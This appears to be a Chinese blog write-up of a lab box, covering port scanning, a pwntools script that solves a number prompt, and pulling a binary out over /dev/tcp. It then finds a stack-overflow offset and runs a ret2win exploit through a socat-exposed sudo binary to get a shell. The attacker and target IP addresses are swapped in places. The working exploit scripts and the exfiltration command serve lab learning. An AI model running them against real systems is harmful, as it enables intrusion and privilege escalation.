Tools靶场学习笔记

正文

kali攻击机地址:192.168.31.30

靶场地址:192.168.31.188

一、端口扫描

在kali里,使用nmap工具:

bash 复制代码
nmap -sV -v -T4 -A 192.168.31.30
nmap 192.168.31.30 -p-
  • nmap -sV -v -T4 -A 目标

    • -A = 全开:OS 探测 + 版本探测 + 脚本扫描 + 路由追踪
    • -sV 强版本指纹探测
    • 这类扫描发包量大、特征明显 , 很多靶机安全策略:识别到版本探测、系统探测包 直接静默丢弃 1337 端口响应,nmap 判定关闭 / 过滤
  1. nmap 目标 -p-

    • 默认 SYN 半开扫描,无版本、无系统探测、无脚本
    • 扫描行为最干净、流量最朴素
    • 防火墙只拦恶意探测包 ,不拦普通端口探测。所以能正常识别 1337 开放

结果可以看到目标开放1337端口。那我们nc连过去:

bash 复制代码
nc 192.168.31.30 1337

发现要不断输入数字。

二、pwn题------破解循环输入

编写python脚本爆破:

bash 复制代码
# 1. 导入pwn库的所有功能
from pwn import *
# 2. 导入Python正则表达式模块
import re
# re模块用来处理字符串,这里主要是做"按符号分割字符串"的操作,方便从靶机输出里提取关键内容

# 3. 建立和靶机的远程连接
r = remote("192.168.31.30", 1337)
# 这是脚本的核心连接句柄,r代表你和靶机192.168.31.30的1337端口建立的TCP连接
# 后面所有的r.recvuntil、r.sendline,都是通过这个连接和靶机通信

# 4. 循环250次(这里的250,是靶机要求的交互轮数,答对250次才能拿到shell/flag)
for i in range(250):
    # 5.打印当前循环次数,方便调试(知道脚本跑到第几轮了)
    print(i)
    # 6. 接收靶机的输出,直到遇到字符b': '(冒号+空格)为止,然后解码成字符串
    a = r.recvuntil(b': ').decode()
    # decode() 把收到的二进制数据(bytes类型)转换成Python字符串(str类型),方便后面处理
    # 处理后,变量a里存的就是靶机的完整提示字符串
    
    # 7. 打印收到的靶机输出,调试用,确认收到的内容是否正确
    print(a)
    # 用来验证recvuntil有没有收到预期的内容

    # 8. 用正则`\[|\]`表示:按`[`或者`]`这两个符号来分割字符串
    x = re.split(r'\[|\]', a)
    # 举个例子:如果a是`What is [2+3]? : `,分割后会得到列表:
    # ['What is ', '2+3', '? : ']
    # 也就是`[`前面、`[`和`]`中间、`]`后面,被分成了三个部分

    # 9. 把分割后列表的第2个元素(索引1,因为列表从0开始)编码成二进制,发送给靶机
    r.sendline(x[1].encode())
    # x[1]就是分割后中间的那部分内容,比如上面例子里的`2+3`
    # encode() 把字符串转换成二进制(bytes类型),因为TCP传输只能发二进制数据
    # sendline() 会在发送的内容后面自动加一个换行符\n,模拟手动输入完按回车的动作
    # 靶机收到这个内容,就会认为你提交了答案,进入下一轮交互

# 10. 循环结束后,进入和靶机的交互式会话
r.interactive()
# r.interactive() 会把控制权交给你,让你直接和靶机交互,比如执行ls、cat flag等命令

得到交互信息:

sudo -l查看可执行的权限。

三、pwn题------find_backdoor 栈溢出攻击

checksec(安全防护分析)可以得到以下信息:

防护项 状态 含义 漏洞影响
RELRO Partial RELRO 部分开启 GOT 表可写,可通过GOT 表劫持修改函数地址,是常见攻击面
Stack Canary No canary found 无栈保护 没有栈金丝雀,可直接通过栈溢出覆盖返回地址
NX (栈不可执行) NX unknown - GNU_STACK missing 未开启 / 未知 栈内存可执行,可直接在栈上写入 shellcode 并执行
PIE (地址随机化) No PIE (0x400000) 关闭 程序基址固定为 0x400000,所有函数 / 变量地址固定,不需要泄露基址即可直接写死地址
Stack Executable Executable 栈可执行 栈内存有执行权限,写入的 shellcode 可以直接运行
RWX segments Has RWX segments 存在可读可写可执行的内存段 可能存在可直接执行的内存区域,进一步降低攻击难度
1.文件传回本地,IDA静态分析

说明这个程序存在栈溢出攻击,把这个文件存到本地:

bash 复制代码
#1.先在攻击机上执行:
nc -lp 4444 > find_backdoor
#2.后在靶场上执行:
cat /opt/find_backdoor > /dev/tcp/192.168.31.188/4444

ida工具 F5反编译分析后,发现可以先构造100个字符对s进行栈溢出攻击:

溢出后的栈指针,可以执行find_backdoor程序中的fun函数,实现弹出 Linux 终端 shell

2.在靶场上开启pwndbg模式,找到ret偏移量

在靶场里进入pwndbg模式,输入r开始:

bash 复制代码
pwndbg /opt/find_backdoor
r

这里提示你输入,切换到攻击机里,生成100个字符,粘贴到靶场的输入框里。

bash 复制代码
msf-pattern_create -l 100

靶场返回的结果可以看到栈炸了。因为我们要操作的是rsp指针,就得知道偏移量,所以先把7Aa8复制过来

到攻击机里查询一下偏移量:

bash 复制代码
msf-pattern_offset -q 7Aa8

我们可以生成23个A,7个B验证一下:

bash 复制代码
perl -le 'print "A"x23 . "BBBBBBB" '

可以看到栈顶被B覆盖,会影响到ret取数,取到BBBB:

回到ida里,进入fun函数,找到这个函数地址:

补充知识:16进制转换成小端序

AI写一个把 64 位地址转换成 \x 格式的小端字节序的脚本:

python 复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
r"""
num2bytes.py --- 数字 → 字节转义串 通用转换工具(CTF 向)

功能:
  * 把输入的数字转成 \xHH\xHH... 形式的字节转义串
  * 支持十进制、十六进制(0x 前缀) 输入
  * 支持 小端(little) / 大端(big) 两种字节序
  * 支持 自动宽度 / 固定宽度(如 4 = p32, 8 = p64)
  * 支持一次性转换多个数字
  * 支持输出格式:转义串(\xHH) / Python 字节串(b'...') / 原始字节

示例:
  401186 的十六进制值是 0x61F22,自动宽度小端 -> \x22\x1f\x06
  CTF 里常说的地址 0x401186,定宽小端 3 字节 -> \x86\x11\x40
"""

import argparse
import sys


def to_int(token: str) -> int:
    """把输入 token 解析成整数,支持 0x 十六进制 和 十进制。"""
    t = token.strip()
    if t.lower().startswith("0x"):
        return int(t, 16)
    # 其它情形(含纯数字、0b/0o 也顺便支持)
    return int(t, 0)


def int_to_escapes(value: int, width: int | None, endian: str, raw: bool = False) -> bytes:
    """
    把整数转成字节。
    width: 指定字节数;None 表示自动计算最小宽度。
    返回 bytes 对象。
    """
    if width is None:
        # 计算能容纳该值(含符号感知)的最小字节数
        if value == 0:
            width = 1
        else:
            # 正数:按无符号位宽
            v = value if value > 0 else -value
            width = (v.bit_length() + 7) // 8
            if value > 0 and (value >> (width * 8 - 1)) & 1:
                # 最高位为 1 时,自动补一字节以防被误读为负数
                width += 1

    if endian == "little":
        buf = value.to_bytes(width, byteorder="little", signed=False)
    else:
        buf = value.to_bytes(width, byteorder="big", signed=False)
    return buf


def escapes_str(buf: bytes) -> str:
    """bytes -> \\xHH 转义串"""
    return "".join(f"\\x{b:02x}" for b in buf)


def main():
    p = argparse.ArgumentParser(
        description="数字转字节转义串(小端/大端,CTF 常用)",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="示例:\n"
               "  python num2bytes.py 401186\n"
               "  python num2bytes.py 0x401186 -w 3        # -> \\x86\\x11\\x40\n"
               "  python num2bytes.py 0xdeadbeef -w 4      # p32 小端\n"
               "  python num2bytes.py 0x401186 0xdeadbeef -w 8 -e big\n"
               "  python num2bytes.py 1337 --py            # 输出 b'...'\n"
               "  python num2bytes.py 0x401186 -w 3 --raw  # 输出原始字节(可管道给文件)\n",
    )
    p.add_argument("numbers", nargs="+", help="要转换的数字(十进制 或 0x 十六进制)")
    p.add_argument("-w", "--width", type=int, default=None,
                   help="固定字节宽度(如 4=p32, 8=p64)。不指定则自动计算最小宽度")
    p.add_argument("-e", "--endian", choices=["little", "big"], default="little",
                   help="字节序,默认 little(小端)")
    p.add_argument("--py", action="store_true", help="输出为 Python 字节串字面量 b'...'")
    p.add_argument("--raw", action="store_true",
                   help="输出原始字节(用于管道写入文件,如 | xxd -r -p)")
    p.add_argument("--sep", default=" ", help="多个数字之间的分隔符,默认空格")
    args = p.parse_args()

    results = []
    for tok in args.numbers:
        val = to_int(tok)
        buf = int_to_escapes(val, args.width, args.endian)
        if args.raw:
            sys.stdout.buffer.write(buf)
            results.append(buf)  # 仅占位
        elif args.py:
            results.append(repr(buf))
        else:
            results.append(escapes_str(buf))

    if args.raw:
        # 原始模式下不额外打印,直接把字节写到 stdout
        sys.stdout.flush()
    else:
        print(args.sep.join(results))


if __name__ == "__main__":
    main()

这个脚本的用法:

bash 复制代码
# 你的例子(定宽3字节小端)
python num2bytes.py 0x401186 -w 3          # → \x86\x11\x40

# p32 / p64 小端地址(写 shellcode / ROP 常用)
python num2bytes.py 0xdeadbeef -w 4        # → \xef\xbe\xad\xde
python num2bytes.py 0x401186 -w 8          # → \x86\x11\x40\x00\x00\x00\x00\x00

# 大端 / 自动宽度
python num2bytes.py 0x401186 -w 3 -e big   # → \x40\x11\x86
python num2bytes.py 401186                 # 自动宽度 → \x22\x1f\x06

# 批量 + Python 字节字面量
python num2bytes.py 0x401186 0xdeadbeef -w 8 --py

# 原始字节(可直接管道落盘给二进制 payload)
python num2bytes.py 0x401186 -w 3 --raw > addr.bin

生成小端序:

bash 复制代码
\x86\x11\x40 
3.在靶场上建立socat代理端口

通过socat代理,对靶场这个程序开放12345端口:

bash 复制代码
socat TCP-LISTEN:12345,reuseaddr,fork EXEC:"sudo /opt/find_backdoor",pty,raw,echo=0

kali连接这个端口:

bash 复制代码
nc 192.168.31.30 12345
4.编写栈溢出脚本,指向fun函数拿到flag

在kali攻击机上编写exp脚本1:

python 复制代码
from pwn import *
import re

r= remote("192.168.31.30",12345)
payload = b'A'*23 + b'\x86\x11\x40\x00\x00\x00\x00\x00'

r.recvuntil(b'please input\n')
r.sendline(payload)
r.interactive()

或者是exp脚本2:

python 复制代码
from pwn import *
import re

r= remote("192.168.31.30",12345)
payload = b'A'*23 + p64(0x401186)

r.recvuntil(b'please input\n')
r.sendline(payload)
r.interactive()

成功拿到flag。

相关推荐
xian_wwq1 小时前
【学习笔记】什么是Harness Engineering- 01/15
人工智能·笔记·学习
笨笨饿2 小时前
#102_Codex无在VSCold无法打开
java·c语言·数据库·笔记
xian_wwq2 小时前
【学习笔记】Agent 安全护栏 —— 当 Agent DROP TABLE 了你的生产数据库-07/15
笔记·学习·安全
lichuangcsdn3 小时前
【Spring AI 学习(一)】spring ai是什么
人工智能·学习·spring·spring ai
MartinYeung53 小时前
[论文学习]AgentDojo:用于评估LLM智能体提示注入攻击与防御的动态环境
网络·学习
AOwhisky3 小时前
Linux(CentOS)系统管理入门笔记(第十四期)——计划任务与进程调度管理:atcron 与 nicechrt
linux·运维·笔记·centos·云计算·进程调度·计划任务
玖玥拾4 小时前
LeetCode 13 罗马数字转整数
笔记·算法·leetcode
minglie14 小时前
蚂蚁S9矿板PS led驱动的三个实验-第1课 字符设备驱动
学习
江南十四行4 小时前
Maven 学习框架:依赖管理 + 仓库配置 + IDEA 集成
学习·maven·intellij-idea